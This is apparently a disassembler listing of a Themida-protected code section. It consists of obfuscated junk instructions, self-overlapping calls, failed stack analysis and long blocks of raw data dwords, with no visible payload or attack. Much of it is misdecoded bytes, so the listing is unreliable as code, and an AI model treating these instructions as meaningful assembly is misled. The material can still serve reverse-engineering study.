; --------------------------------------------------------------------------- cdq loc_5B5321: ; CODE XREF: Themida_:005B5308j cld sbb dh, 6Bh cld mov ax, cx mov ebx, ecx jmp loc_5B533A ; --------------------------------------------------------------------------- dd 68672E19h, 0AA4FC60Bh db 0F6h, 0BDh ; --------------------------------------------------------------------------- loc_5B533A: ; CODE XREF: Themida_:005B532Bj mov di, 60BCh call near ptr loc_5B534E+3 lahf db 36h and bh, bl cmp eax, 55036A32h db 64h daa loc_5B534E: ; CODE XREF: Themida_:005B533Ep imul edi, [edi+5F24B01Bh], 0FFE38160h cmp edx, [edx] xor [edi], ecx add dword ptr ds:0BA000000h, 77h ; --------------------------------------------------------------------------- db 0DDh dd 0F6131F6h, 0C85h, 6830F00h, 0F000000h, 8Ch, 0C7C68000h dd 0BFD1BF0Fh, 59AE2B21h, 8AFBB70Fh, 0D68B66F7h, 82B4C28Bh dd 6F7DBA66h, 60CA8B66h, 0FC78166h, 8161F823h, 74BFDCF2h dd 74B96628h, 0FB8B660Fh, 1F880Fh, 14E80000h, 0BB000000h dd 5DDDB6A3h, 48C48A61h, 469EF312h, 8FB456F5h, 0B97A5041h dd 3C037FAAh, 0A0E3805Eh, 8166F38Bh, 0F46F7C8h, 18Fh, 8A51F800h dd 14E95EFAh, 2D000000h, 8E07AEB8h, 0D52F4BE8h, 0E2CA339h dd 936BA091h, 6647E7BCh, 8B6CC5B8h, 98D0FC6h, 0F000000h dd 38Ch, 26E98000h, 0F77D24B9h, 80F18A4Dh, 81505DD2h, 59B8F2D1h dd 8B665939h, 38EF81CEh, 0F1E667Fh, 2081h, 0DE800h, 9B7A0000h dd 77303930h, 72936124h, 0E8F27677h, 7, 2B0FC7Dh, 59684932h dd 0C0BF0F5Ah, 80D3B70Fh, 8166D9D7h, 810123D6h, 49A8B1DAh dd 0FD08B43h, 8Eh, 227BBE00h, 0D78051DCh, 8B0F6095h, 0 ; --------------------------------------------------------------------------- mov al, 0D8h popa and al, 20h jmp loc_5B5490 ; --------------------------------------------------------------------------- db 6Fh db 89h, 0E4h dw 0B615h ; --------------------------------------------------------------------------- loc_5B5490: ; CODE XREF: Themida_:005B5486j add cx, 52B4h mov di, 0BEC0h pusha push edi mov dx, di pop esi jo loc_5B54BA jmp loc_5B54BA ; --------------------------------------------------------------------------- dw 1AD2h dd 6577F722h, 4B88BB06h, 3C5F7E8Fh db 0C0h, 98h ; --------------------------------------------------------------------------- loc_5B54BA: ; CODE XREF: Themida_:005B549Fj ; Themida_:005B54A5j popa mov ecx, 300A3E3Fh mov dl, ah mov edx, edi jmp loc_5B54D5 ; --------------------------------------------------------------------------- db 17h, 38h, 0E6h dd 0C674F779h, 0FD14BAA2h db 0D0h ; --------------------------------------------------------------------------- loc_5B54D5: ; CODE XREF: Themida_:005B54C4j and ax, 7343h jp loc_5B54E4 mov ax, 0E140h loc_5B54E4: ; CODE XREF: Themida_:005B54DAj mov esi, 14B63277h xor dh, 2Fh jmp loc_5B54FA ; --------------------------------------------------------------------------- db 3Ah, 18h, 0E7h dd 0AF7510D3h ; --------------------------------------------------------------------------- or al, 87h loc_5B54FA: ; CODE XREF: Themida_:005B54ECj stc sbb di, 0F787h mov edi, esi mov bh, 0ACh mov ax, bx mov bl, 0CFh mov bl, 0A1h sbb ecx, 3C72DF35h mov eax, edi jmp loc_5B551D ; --------------------------------------------------------------------------- dd 59F85D8Ah db 7Ch ; --------------------------------------------------------------------------- loc_5B551D: ; CODE XREF: Themida_:005B5513j call near ptr loc_5B552A+4 dec esp db 26h enter 0FFFFD267h, 0FEh jp short loc_5B558B loc_5B552A: ; CODE XREF: Themida_:loc_5B551Dp mov [esi-70F03901h], edx ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- pop edx adc dx, 4475h sbb edi, 6078CFA6h mov esi, 4711299Ch jmp loc_5B5551 ; --------------------------------------------------------------------------- dw 809Ch dd 4C526BD1h db 0E3h ; --------------------------------------------------------------------------- loc_5B5551: ; CODE XREF: Themida_:005B5545j jmp loc_5B5563 ; --------------------------------------------------------------------------- dw 5B41h dd 0DC8896A8h, 2771FAD9h db 0ECh, 64h, 9Ch ; --------------------------------------------------------------------------- loc_5B5563: ; CODE XREF: Themida_:loc_5B5551j mov si, 0C7BEh jmp loc_5B557F ; --------------------------------------------------------------------------- dd 368CBE25h, 5A531001h, 6574ACD0h, 75CA2325h db 51h, 54h, 0C5h ; --------------------------------------------------------------------------- loc_5B557F: ; CODE XREF: Themida_:005B5567j add di, 8FA6h mov edi, 616C7642h ; --------------------------------------------------------------------------- db 0Fh, 82h ; --------------------------------------------------------------------------- loc_5B558B: ; CODE XREF: Themida_:005B5528j or al, 0 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 68Ch, 810F00h, 80000000h, 3EB9C3C7h, 0E848E541h, 14h dd 205E8AA3h, 790EE4ACh, 4103C8Fh, 4D4FFF55h, 52BCF085h dd 5B9BC280h, 10E9h, 0D6E0AE00h, 7A053678h, 0FCD1E26h dd 211EB213h, 6660511Ch, 685DEA81h, 5A1ACB81h, 5B611DAEh dd 10870Fh, 0BE90000h, 1C000000h, 0F2B1E4F5h, 8028B76Ch dd 9E9DDEDh, 3C000000h, 0D02ADD7h, 61BF4F81h, 66D2BF0Fh dd 3DBEF381h, 8EB1D08Bh, 3AC2BABFh, 0D3BF0F3Ah, 60D38166h dd 13BB6697h, 66D78BE1h, 7B6AC181h, 80F6E680h, 8BF833C9h dd 66C88BD1h, 14E9F18Bh, 0B3000000h, 293DF0ECh, 9ED0FC1Dh dd 0BF5E0385h, 72997FA6h, 0F9C36ED5h, 3A0BEF9h, 0E781235Fh dd 5B105BD6h, 81D78B60h, 0B55FFFCBh, 0F38B6114h, 668DCE80h dd 0BA66D78Bh, 11E93262h, 71000000h, 74D68431h, 0FA271F17h dd 83B9A2BFh, 0B78B4823h, 10E8h, 0E0FD6400h, 0F1E8A44Fh dd 730BE397h, 50FCF53h, 8B5EF8C9h, 0D1E081F1h, 0F54F157h dd 683h, 62CB8100h, 0E96DD8EBh, 7, 5054464Fh, 0F032B17h dd 0A80h, 4870F00h, 66000000h, 81FCF2BBh, 0CFEE94C3h, 0C68B6607h dd 8BD6BF0Fh, 0B5BF66CAh, 5E98Dh, 36B00000h, 8BB237CDh dd 816660C3h, 66190DE7h, 0BF61FB8Bh, 0B2F61CBh, 11E956FCh dd 0E1000000h, 0C7D24675h, 0C270CD39h, 0F91DD4A7h, 95B9BCEDh dd 0FBB70F58h, 8AD68B66h, 0FE9D1h, 6F30000h, 0AD381A9h dd 0BC1FA6DFh, 68BF00F3h, 0F6060B3h, 6661D8B7h, 61C9FBBFh dd 0C15D17BAh, 32F18158h, 0F92A6C9Ah, 28F0Fh, 0D18B0000h dd 0DC8AD68Bh, 0BB66D38Bh, 0C8801721h, 0EE967h, 0DC60000h dd 2D44AFFDh, 0C2AF0B4Fh, 0FA7384BCh, 6E9h, 533F4F00h dd 0E9904B9Bh, 14h, 49A6F1E9h, 553F41C4h, 495006B8h, 0B889FBDEh dd 0DEE47CCAh, 6E9E68Ah, 88000000h, 0F7434571h, 8E88Eh dd 0A0610000h, 975C901Bh, 5FF570A4h, 800F38B4h, 0 ; --------------------------------------------------------------------------- mov esi, 703B7E89h push edx sub al, 6Bh pop esi jmp loc_5B57DB ; --------------------------------------------------------------------------- db 91h dd 0BB62790Bh, 0EC987754h, 28E3C667h db 1Ch, 0A7h, 0DEh ; --------------------------------------------------------------------------- loc_5B57DB: ; CODE XREF: Themida_:005B57C6j push ecx ja loc_5B57E4 push ebx pop esi loc_5B57E4: ; CODE XREF: Themida_:005B57DCj pop esi and dl, 2Fh mov ecx, 3AB3735Ch mov eax, 78EC49FCh jo loc_5B57FB mov ax, bx loc_5B57FB: ; CODE XREF: Themida_:005B57F2j clc jmp loc_5B580B ; --------------------------------------------------------------------------- db 0FBh, 6Eh, 9 dd 4FC1B5BBh db 0FFh, 99h, 0F2h ; --------------------------------------------------------------------------- loc_5B580B: ; CODE XREF: Themida_:005B57FCj mov eax, 0CD46AAFh jmp loc_5B5828 ; --------------------------------------------------------------------------- db 0DAh, 0ACh, 0C6h dd 5D3937AAh, 714B465h, 0C0B12204h, 7B9DB7C7h ; --------------------------------------------------------------------------- loc_5B5828: ; CODE XREF: Themida_:005B5810j add ah, 41h add bh, 74h mov ah, 61h jmp loc_5B583A ; --------------------------------------------------------------------------- xchg bl, [esi] lodsd retn ; --------------------------------------------------------------------------- db 0Ch ; --------------------------------------------------------------------------- loc_5B583A: ; CODE XREF: Themida_:005B5830j jnb loc_5B585A jo loc_5B585A jmp loc_5B585A ; --------------------------------------------------------------------------- db 0Bh ; --------------------------------------------------------------------------- sbb dh, ch mov esi, 5F50CC87h push ds les ebx, [ebx] mov [ebx-2Ch], ah loc_5B585A: ; CODE XREF: Themida_:loc_5B583Aj ; Themida_:005B5840j ... call sub_5B5864 xor ch, 60h add al, 0A5h ; =============== S U B R O U T I N E ======================================= sub_5B5864 proc near ; CODE XREF: Themida_:loc_5B585Ap ; FUNCTION CHUNK AT 005B588C SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005B58C4 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 005B5916 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005B5949 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005B597C SIZE 00000025 BYTES push edi pop ebx pop ebx mov ax, 0B2CFh call near ptr loc_5B5881+1 jo short loc_5B58C4 adc esp, edi movsb add dh, al cmpsb inc eax nop or ecx, [esi+25C7CE24h] dec ebp loc_5B5881: ; CODE XREF: sub_5B5864+7p rep jmp loc_5B588C sub_5B5864 endp ; sp-analysis failed ; --------------------------------------------------------------------------- lahf push edi or [esi+edi*2], dh ; START OF FUNCTION CHUNK FOR sub_5B5864 loc_5B588C: ; CODE XREF: sub_5B5864:loc_5B5881j pop eax movsx edi, si movzx ebx, ax jo loc_5B589C movsx esi, si loc_5B589C: ; CODE XREF: sub_5B5864+2Fj mov edi, edx cmc call near ptr loc_5B58AF+4 inc edi jnb short loc_5B5916 adc byte ptr ds:2D348DC4h, 0FFh xlat loc_5B58AF: ; CODE XREF: sub_5B5864+3Bp db 36h jmp far ptr 8:0E9576BBEh ; END OF FUNCTION CHUNK FOR sub_5B5864 ; --------------------------------------------------------------------------- align 4 dd 0A093EF00h, 2298ED1Dh, 0E85A5F7Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5864 loc_5B58C4: ; CODE XREF: sub_5B5864+Cj adc al, [eax] ; END OF FUNCTION CHUNK FOR sub_5B5864 ; --------------------------------------------------------------------------- dw 0 dd 0FBEDBE14h, 7C4AB636h, 2F93EC64h, 3764654Dh, 0EBE6943h dd 5B286FABh, 13E8h, 32227700h, 34B5E429h, 198CD795h, 0DB3B86C7h dd 601D4FBh, 0E6333ABEh, 880F5867h, 2, 6E9DE8Bh, 0D1000000h dd 0B3A39FAh, 0F2BF0F68h db 66h, 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5864 loc_5B5916: ; CODE XREF: sub_5B5864+41j sar ecx, 81h icebp add [ecx-287ED980h], ebp sbb ax, 552h add edi, 5B1C2344h mov esi, 31668384h mov eax, 56B6776Ah xor si, 605Fh xor ah, 24h mov si, cx jmp loc_5B5949 ; END OF FUNCTION CHUNK FOR sub_5B5864 ; --------------------------------------------------------------------------- dd 7D81ABE7h db 69h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5864 loc_5B5949: ; CODE XREF: sub_5B5864+DBj pusha and ah, 54h mov di, 13Bh popa mov ecx, ebx adc esi, 12281536h or dx, 14CDh push esi sbb ch, 62h pop edi mov edx, edi mov cl, 0DEh movzx ebx, di jmp loc_5B597C ; END OF FUNCTION CHUNK FOR sub_5B5864 ; --------------------------------------------------------------------------- dd 149489BFh, 0AE981927h, 8FAEF0A7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B5864 loc_5B597C: ; CODE XREF: sub_5B5864+107j call near ptr loc_5B598E+1 mov edx, [esi+72h] fsubr qword ptr [ebx] push ss imul edi, ecx, 33h pusha push edx arpl [esi], sp loc_5B598E: ; CODE XREF: sub_5B5864:loc_5B597Cp aad 80h mov byte ptr [esi+46ACBB59h], 0B0h imul ecx, [edi], -41h mov dword ptr [eax-0Bh], 14E85Ah ; END OF FUNCTION CHUNK FOR sub_5B5864 ; --------------------------------------------------------------------------- db 2 dup(0), 0DDh dd 9AC5744Ch, 5E68C42Ah, 880AA2B6h, 15870D80h, 0FEDF377h dd 0E95ED2BFh, 0Bh, 0D92F9F38h, 40FF405Bh, 0F5C1933h, 1589h dd 10E900h, 2EE80000h, 0DAAFB380h, 637247A3h, 699B9906h dd 0E9F598EBh, 0Ah, 0C59C4DC4h, 8161C232h, 8166E85Bh, 8A64AEEEh dd 0B6C281D8h, 511DBA3Ch, 28C0Fh, 0CA8B0000h, 0C8B70F58h dd 0FE85F50h, 0C000000h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h dd 8E0F249Eh, 5, 15E88166h, 0D5805F97h, 7BEA80F8h, 4840Fh dd 0BF660000h, 13E81BE5h, 7B000000h, 5E97867Bh, 16396EABh dd 4C049919h, 0D2E2F1EDh, 5AF97C2Bh, 0F53ED80h, 489h, 0D5BE6600h dd 6681B422h, 8B0FCA8Bh, 18h, 13E9h, 1E8300h, 0DA761F0h dd 374063D4h, 0A58143CFh, 4ADD949h, 0E91ED580h, 6, 5C901BA0h dd 0BA66A497h, 0E852B6B8h, 0Fh, 706786CBh, 0D2B5D2BCh dd 47EFE794h, 0F0F5B5Eh, 85h, 0BA5A5F00h, 125429BFh, 69D88166h dd 5800FF5h, 66000000h, 633CDA81h, 0F28B6051h, 5F615EB7h dd 0DBBB8B6h, 66702BB5h, 81B5DDBBh, 41DD92C0h, 0D88AF546h dd 4103BA66h, 14E9h, 4309000h, 0E1D66B75h, 595F011Fh, 4D80C8B9h dd 0B57EC520h, 66FE8B96h, 0B872B2BFh, 36A3818Eh, 5AF18B50h dd 66ACD580h, 39D6C081h, 27FFC381h, 0D1814FE3h, 26B23597h dd 2285B966h, 60D8BF0Fh, 0ED8060F5h, 10E8ACh, 45E90000h dd 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h, 615BBB58h, 0C7B5BF61h dd 0F6024B7h, 488h, 8DB86600h, 10E961C0h, 0BE000000h, 3972F59Ah dd 0FED82102h, 6B708C20h, 0E9F6F2C3h, 7, 2D9F0681h, 0FC62E548h dd 920A14BBh, 0ECE38144h, 0E851B635h, 5, 46A6A4FDh, 0D9B70F4Dh dd 870F59h, 0E8000000h, 0Eh, 3AE6EBBFh, 0F3355722h, 9666EDABh dd 0D081898Eh, 60554FF7h, 0D68B6659h, 80C28B66h, 0F5073E7h dd 28Ch, 5FF08B00h, 0B270BFF5h, 6CBE6167h, 603A254Fh, 0F78B66F9h dd 0DFB1F561h, 53D78B66h, 11E8h, 980DC300h, 0AD49F142h dd 47248D34h, 0ED1A9F7Dh, 0EE84A9Fh, 9F000000h, 5EE0A6E6h dd 0E05277BEh, 0A575664Ah, 58595E25h, 820FCA8Bh, 15h, 10E9h dd 0DABCB800h, 5F9C3FB2h, 0EA97F28Ah, 5B85A605h, 19830F6Ch dd 0E9000000h, 14h, 0C2D4A6D2h, 0CC8A7923h, 0FE0F62C5h dd 0C2D223ADh, 2DEF8D41h, 4890Fh, 50520000h, 13E95858h dd 7B000000h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h, 931E142Dh dd 0BF0F32E1h, 0D7B70FF1h, 3840Fh, 8B660000h, 8B6660FAh dd 28F0FCEh, 0B3000000h, 0A2B66187h, 0E8C7BF0Fh, 0Bh, 801FE1Bh dd 9AAACB8Eh, 5B4E4BB9h, 0CE9h, 8361F400h, 9CACB84Bh, 6DB2103Ah dd 0F9AABE16h, 13E90407h, 0F2000000h, 0FC50B333h, 8D709E15h dd 0D089628h, 3F2AF7FFh, 5257EFC4h, 8E9h, 72452600h, 19BDEEE9h dd 0F85A59F6h, 8A0FD98Bh, 5, 4B14A8BBh, 128F0F35h, 0E9000000h dd 0Dh, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0C78166E6h dd 0EE8A5480h, 0B6B4D281h, 0CE8B7DC7h, 28D0Fh, 12B60000h dd 0FABF0F60h, 6661D48Ah, 1B4BF181h, 91F5E381h, 0D08B3615h dd 0E902F080h, 0Fh, 0EE1F0848h, 0D7B8ECDBh, 47783D39h dd 0F9FEA71h, 8B66DBBFh, 8850FD0h, 0F000000h, 282h, 506CB300h dd 880F5EF9h, 3, 8BD08B66h, 1EA81D6h, 800468D0h, 0EBB799E2h dd 26E38160h, 660A09D5h, 6139DFBBh, 0DE9h, 702DF700h, 49E80C62h dd 0FA26DC6h, 0D781E73Eh, 67EEA4F0h, 7E9h, 0DE2EDE00h dd 6C2DFBB2h, 6E9AE181h, 0BF66344Bh, 8B66F7C5h, 0A5DF80C8h dd 3712BE66h, 6E9h, 34AD4900h, 8A47248Dh, 0FEB70FD9h, 5850Fh dd 81660000h, 0F5A1D0E2h, 0EFC78060h, 880F60h, 0F000000h dd 82h, 0F616100h, 8Ch, 840F6000h, 5, 0C85E29B8h, 6160534Fh dd 0EA80615Bh, 0DE921h, 39E10000h, 0B08280D7h, 0B282BA68h dd 8A3107F7h, 2DB9F8E3h, 605EE91Eh, 6E9h, 0BB85C600h, 66F9C441h dd 61E7DABEh, 0CE8h, 0CCAEAF00h, 6472CE29h, 8E1C98Ah, 58DE8BEEh dd 1EE6F781h, 6660490Fh, 71ACCB81h, 17A11BBBh, 8160610Eh dd 0C3EBA1C3h, 0BFBE5629h, 583D2A8Ah, 0B8A0F61h, 0E9000000h dd 6, 4AC833C1h, 5756605Eh, 60D4BA66h, 0E4805F5Bh, 38DE8036h dd 0EE9h, 11F4F700h, 64C8FDBCh, 230FE68h, 813677B2h, 52D528F7h dd 0E9DF8B3Dh, 0Ch, 0E6CE558Dh, 648B8A7h, 0B8502F60h, 81D78BF9h dd 124A71DEh, 13E80Fh, 76A0000h, 54577B0Ah, 187898F3h dd 96095395h, 371A097Fh, 6E829h, 0B8560000h, 1F092A91h dd 5A4AEC80h, 0F8BF0F59h, 13E9h, 3CEF5600h, 861D3B70h dd 0FDC04751h, 4D46A6A4h, 0C6AD516h, 0FE9A6B5h, 78000000h dd 0F04E443Ah, 17454D8Fh, 9B2993C6h, 65B3BFD9h, 0AEFD081h dd 0D181511Eh, 2150157Fh, 870F5250h, 0 ; --------------------------------------------------------------------------- pop eax pop edx jl loc_5B5F32 mov ebx, edi loc_5B5F32: ; CODE XREF: Themida_:005B5F2Aj pusha call loc_5B5F3F fnsave byte ptr [ecx+53E05169h] stosb loc_5B5F3F: ; CODE XREF: Themida_:005B5F33p xor ax, 16C7h pop esi popa mov cx, 0A3h pusha jb loc_5B5F54 mov si, ax loc_5B5F54: ; CODE XREF: Themida_:005B5F4Bj mov eax, 1D4F0B06h popa jg loc_5B5F65 push esi movzx edx, di pop edx loc_5B5F65: ; CODE XREF: Themida_:005B5F5Aj jmp loc_5B5F7A ; --------------------------------------------------------------------------- dw 6251h dd 1E37D923h, 0FF8A4AACh, 5D08C6AAh db 7Eh, 1Dh ; --------------------------------------------------------------------------- loc_5B5F7A: ; CODE XREF: Themida_:loc_5B5F65j add si, 0C355h add dx, 7BBh movzx esi, cx jns loc_5B5F95 pusha mov dx, bx movzx eax, bx popa loc_5B5F95: ; CODE XREF: Themida_:005B5F87j mov cx, 4184h movsx ecx, di push ebx jmp loc_5B5FB2 ; --------------------------------------------------------------------------- dw 6320h dd 0F5A719ACh, 628587FDh, 6C35964Fh db 0C0h, 0E8h ; --------------------------------------------------------------------------- loc_5B5FB2: ; CODE XREF: Themida_:005B5F9Dj pop edx jmp loc_5B5FC4 ; --------------------------------------------------------------------------- dd 601D8558h, 0AE83AE9Ch, 0BBD29258h ; --------------------------------------------------------------------------- loc_5B5FC4: ; CODE XREF: Themida_:005B5FB3j sbb cx, 0B8F7h cld stc jz loc_5B5FD6 sub di, 1B64h loc_5B5FD6: ; CODE XREF: Themida_:005B5FCBj mov di, 6157h mov edi, 5E35913h cmc xor si, 92A3h mov cx, 0CB94h mov bx, ax jmp loc_5B5FF6 ; --------------------------------------------------------------------------- add al, 0A5h fdivp st(7), st pop esi loc_5B5FF6: ; CODE XREF: Themida_:005B5FECj movzx edi, bx movsx ebx, bx push esi mov bh, 0EAh pop ebx push esi and si, 6EADh pop esi call near ptr sub_5B6015 xchg cl, dl cli inc esp ; --------------------------------------------------------------------------- dd 0E090CF8Eh ; --------------------------------------------------------------------------- cwde ; =============== S U B R O U T I N E ======================================= sub_5B6015 proc far ; CODE XREF: Themida_:005B6007p ; FUNCTION CHUNK AT 005B60CF SIZE 00000006 BYTES movsx eax, di pop ebx jmp loc_5B6032 ; --------------------------------------------------------------------------- dw 5773h dd 69634BBCh, 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh db 3Eh, 7Eh ; --------------------------------------------------------------------------- loc_5B6032: ; CODE XREF: sub_5B6015+4j mov ebx, 7C5FF06Ch sub dl, 71h or ax, 77ADh jmp loc_5B604A ; --------------------------------------------------------------------------- dd 29782F58h db 42h, 18h ; --------------------------------------------------------------------------- loc_5B604A: ; CODE XREF: sub_5B6015+2Aj call near ptr loc_5B605B+4 setalc push ecx aaa xor es:[ebx-1Bh], edx fstp tbyte ptr [ebp+4Bh] loop loc_5B60CF loc_5B605B: ; CODE XREF: sub_5B6015:loc_5B604Ap sub dword ptr [ecx+edi*4+0AE856A5h], 0 sub_5B6015 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 dd 93AA9A00h, 908B2CDh, 5B930F4Dh, 0F08B5858h, 3880BF66h dd 0BBA0DA80h, 4656A3C9h, 66A2E180h, 0E86197BAh, 9, 7C052862h dd 0FF35BB89h, 3830F6Fh, 66000000h, 665ED08Bh, 53C982BEh dd 8E85Eh, 4DF40000h, 0DE68444Ch, 0B1605CC4h, 0C88B6614h dd 57B05F61h, 66F9BF0Fh, 57B8CE8Bh, 525525B4h, 48F0Fh db 2 dup(0), 66h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B6015 loc_5B60CF: ; CODE XREF: sub_5B6015+44j mov eax, 815B0CA5h retf ; END OF FUNCTION CHUNK FOR sub_5B6015 ; --------------------------------------------------------------------------- db 43h, 2, 0D2h dd 0D78B665Ah, 0B86645B3h, 800F6BFAh, 3, 0FD0BF0Fh, 0B70FFEBFh dd 0F88B66D3h, 0B9D38166h, 81666042h, 0F3033E2h, 5061F1BFh dd 0F959C18Bh, 870F14B3h, 2, 0F601FB2h, 8Eh, 0F88B6600h dd 9D38161h, 0E856E237h, 0Bh, 9E634A77h, 0E8F1D336h, 0E92629B4h dd 8, 79B0F9D6h, 0C112F6C9h, 0EB81665Eh, 66533B8Ch, 806AD981h dd 0FCB46058h, 188C0Fh, 12E80000h, 0FC000000h, 3B5ADF0h dd 1909CC8Eh, 6B043E5Ah, 37227A7h, 0F9615B1Dh, 10E9A9B3h dd 96000000h, 51FC2CD9h, 25624BFDh, 0B029467Ah, 5325CFC9h dd 0EE8h, 0A5746C00h, 10336CEh, 40BF685Bh, 582144F3h, 32E1815Ah dd 665282DEh, 0B425CB81h, 0F0816651h, 8A5AEFDCh, 7BBE66EAh dd 0FD68B8Ch, 81h, 0D6815000h, 77EA26ACh, 0FAED805Bh, 57C1BF0Fh dd 3778B85Eh, 9CB36D57h, 75EA8166h, 21EE810Bh, 0E909F4A4h dd 0Bh, 5F59ED84h, 0E15D5DA1h, 0E9AFE7D4h, 11h, 0D6047B61h dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 7E904h, 0D22F0000h dd 37DB2776h, 850F5300h, 2, 605AD98Bh, 73EA80FCh, 0B72FBA61h dd 0BF602123h, 234FFF55h, 6699B561h, 51915AB8h, 5F89B456h dd 8B66F959h, 0CE8166F7h, 0EE92A46h, 2A000000h, 0E009A541h dd 9281069Bh, 0DC943161h, 13E9A5h, 0D5C20000h, 925A457Eh dd 23C56F2Ch, 92B9B32Ah, 948E189h, 8060608Dh, 8A0F3DE7h dd 0 dd 0F18B6661h, 0FE861h, 42A0000h, 0FC04C927h, 791A93C9h dd 9965E033h, 58AEB4B8h, 0AE9h, 886AC900h, 4C995160h, 0FE8AB70h dd 286h, 60F18B00h, 81D38B66h, 364A92D0h, 66F56141h, 0BF0FC38Bh dd 0CB8B66F2h, 11E9h, 4DEEF900h, 4EA3132Eh, 0D88652D5h dd 9F5D9B2Dh, 8B0FB13Ah, 1, 0F28166F9h, 7E9410Bh, 3E000000h dd 7FD12C9Ch, 5F5793DAh, 9AD38166h, 3DEA805Ch, 5E9FCh dd 6EF0000h, 8136E26Dh, 0ABBE2BE0h, 0DFBF0F76h, 58B0Fh dd 81660000h, 0BE72D4EFh, 58D8E8ABh, 0FE8h, 87CF3B00h dd 686647h, 25843EDAh, 0F23F282Ch, 6E9h, 634EC900h, 5911B302h dd 8B2BF780h, 13E960C1h, 41000000h, 42419191h, 0F78E9C40h dd 0FAA31F73h, 0F8712503h, 0BA66ACFDh, 0FC6152EEh, 0E8E641B9h dd 198F0F79h, 60000000h, 0CE9h, 0DFE81200h, 34C9F734h dd 0B38C3109h, 8C0F7Bh, 61000000h, 59C28B50h, 0E9CF8B66h dd 0Bh, 0DE4F3A05h, 0E5734561h, 0E899303Bh, 11h, 0C72C8AD9h dd 81CFBE3h, 5B1BF9C3h, 82DCBB2Ah, 58C78B74h, 5E576060h dd 0CE8061F5h, 84B06144h, 0C281F48Ah, 20C77717h, 0DC9ABF60h dd 8B533EDEh, 60615AC1h, 0FE9h, 0C9678500h, 92FC9744h dd 7BBD70EEh, 596E0BB0h, 8B0FF960h, 0 dd 8B666161h, 0D0D0BAC2h, 8A0F213Ah, 5, 85CB74BEh, 6653B544h dd 0F7C90BAh, 84h, 0BE900h, 0D2450000h, 18DC3984h, 25B494E9h dd 13E9DCh, 16430000h, 494A65B3h, 67AE5D0h, 70AB3802h dd 9E2BA430h, 89B8568Eh, 5E00837Ch, 0AFC98166h, 0E6BA66B2h dd 0BBE60B6h, 0B125C7CEh, 0DE861A8h, 73000000h, 0F1A4C69Eh dd 8144D31Bh, 58EBA920h, 0A291EB81h, 815E6F82h, 63F680DEh dd 2890F38h, 0B6000000h, 66E58AA0h, 0F9F5F78Bh, 8E8h, 63526000h dd 45FAD526h, 0AE91Eh, 0ECE10000h, 110B099Eh, 0F1949409h dd 0FFBF0F5Eh, 0CE9h, 0B4296200h, 0B952A6F8h, 5D62D3h dd 0DE05BEF9h, 10E9196Ch, 8000000h, 6B29C3B8h, 0D1E7368Ah dd 0FE7BD3E0h, 0E9406561h, 11h, 0BCF13FBDh, 0F875DBDDh dd 2EE38C81h, 2B1E5C49h, 0F3816698h, 0F58A20A7h, 0E9FFE680h dd 5, 8AA2361Fh, 0BF6660C7h, 12E89F89h, 7C000000h, 0DDCAFB61h dd 0F6B71A89h, 0E36A92C0h, 199199ACh, 0C1BF0F52h, 8B666158h dd 8B6660D9h, 61CB8BD9h, 18B96660h, 6164B567h, 58A0Fh dd 26BE0000h, 6008AA5Fh, 0FD7B70Fh, 8Fh, 8B666100h, 14E9C8h dd 8D30000h, 3AD078A0h, 0D7163F6Ch, 0C72EB997h, 6EAD0BC5h dd 8B66CACBh, 8166F8F2h, 81BFD0E2h, 0F235ACE9h, 4962B85Fh dd 8A0F3DFFh, 5, 5B50F860h, 66C88B61h, 6660C78Bh, 0EE9D08Bh dd 33000000h, 8E637AF0h, 4685336Ch, 0C03821E2h, 8B6661C4h dd 84BF66F9h, 0E99AB94Ch, 8B666AD7h, 13E9D3h, 0CEA00000h dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 9E902h dd 0DA0C0000h, 28413722h, 53D15AFAh, 8B58DE8Bh, 0C8BF0FF2h dd 7E9h, 524A6400h, 0F0FC3D55h, 0FE9h, 8D2CF800h, 0EAC323ACh dd 62DC519h, 0BC65D5B3h, 68D0Fh, 0DE810000h, 19511577h dd 13840Fh, 0EE90000h, 48000000h, 96A85B41h, 0FAD9DC88h dd 64EC2771h, 98CF809Ch, 0BE66CB8Bh, 11E90374h, 0A9000000h dd 1139832Fh, 47D1648Fh, 5F4A2B40h, 0DB7AF828h, 0B866C5B2h dd 11E995DEh, 8D000000h, 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h dd 0B2EFACF9h, 148F0Fh, 0FE90000h, 0EA000000h, 0B1084A1Ah dd 0E747BEAEh, 5C5462A8h, 8D0F9EBBh, 0 dd 0BE8h, 7E623A00h, 9F5F17B4h, 0BE5DC8CCh, 8DC88160h dd 0FC3E7A36h, 2B75F61h, 9D51DF81h, 0C5B75CFAh, 0CA8B6660h dd 6840Fh, 890F0000h, 0 dd 8B0F5361h, 4, 0F902B966h, 0CBBA6658h, 6650B695h, 10EFD981h dd 10E8h, 8A1AAA00h, 9123DA2Fh, 76575DE3h, 0F458B092h dd 8B0F70h, 5A000000h, 271FE181h, 12E8525Bh, 0C5000000h dd 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h, 0F7815BB8h dd 38AB8E67h, 4840Fh, 0BA660000h, 0BF0F045Ch, 870F53F6h dd 2, 0FC5BF98Bh, 38C0Fh, 0B70F0000h, 0D9DA80FBh, 816658B2h dd 0B4873DD3h, 0DE918h, 0A3170000h, 396DE772h, 887CCE4Bh dd 57626E72h, 1DB0B966h, 0FBC1815Fh, 8B2B78AEh, 92DA81C7h dd 8B46A363h, 0C88B66DAh, 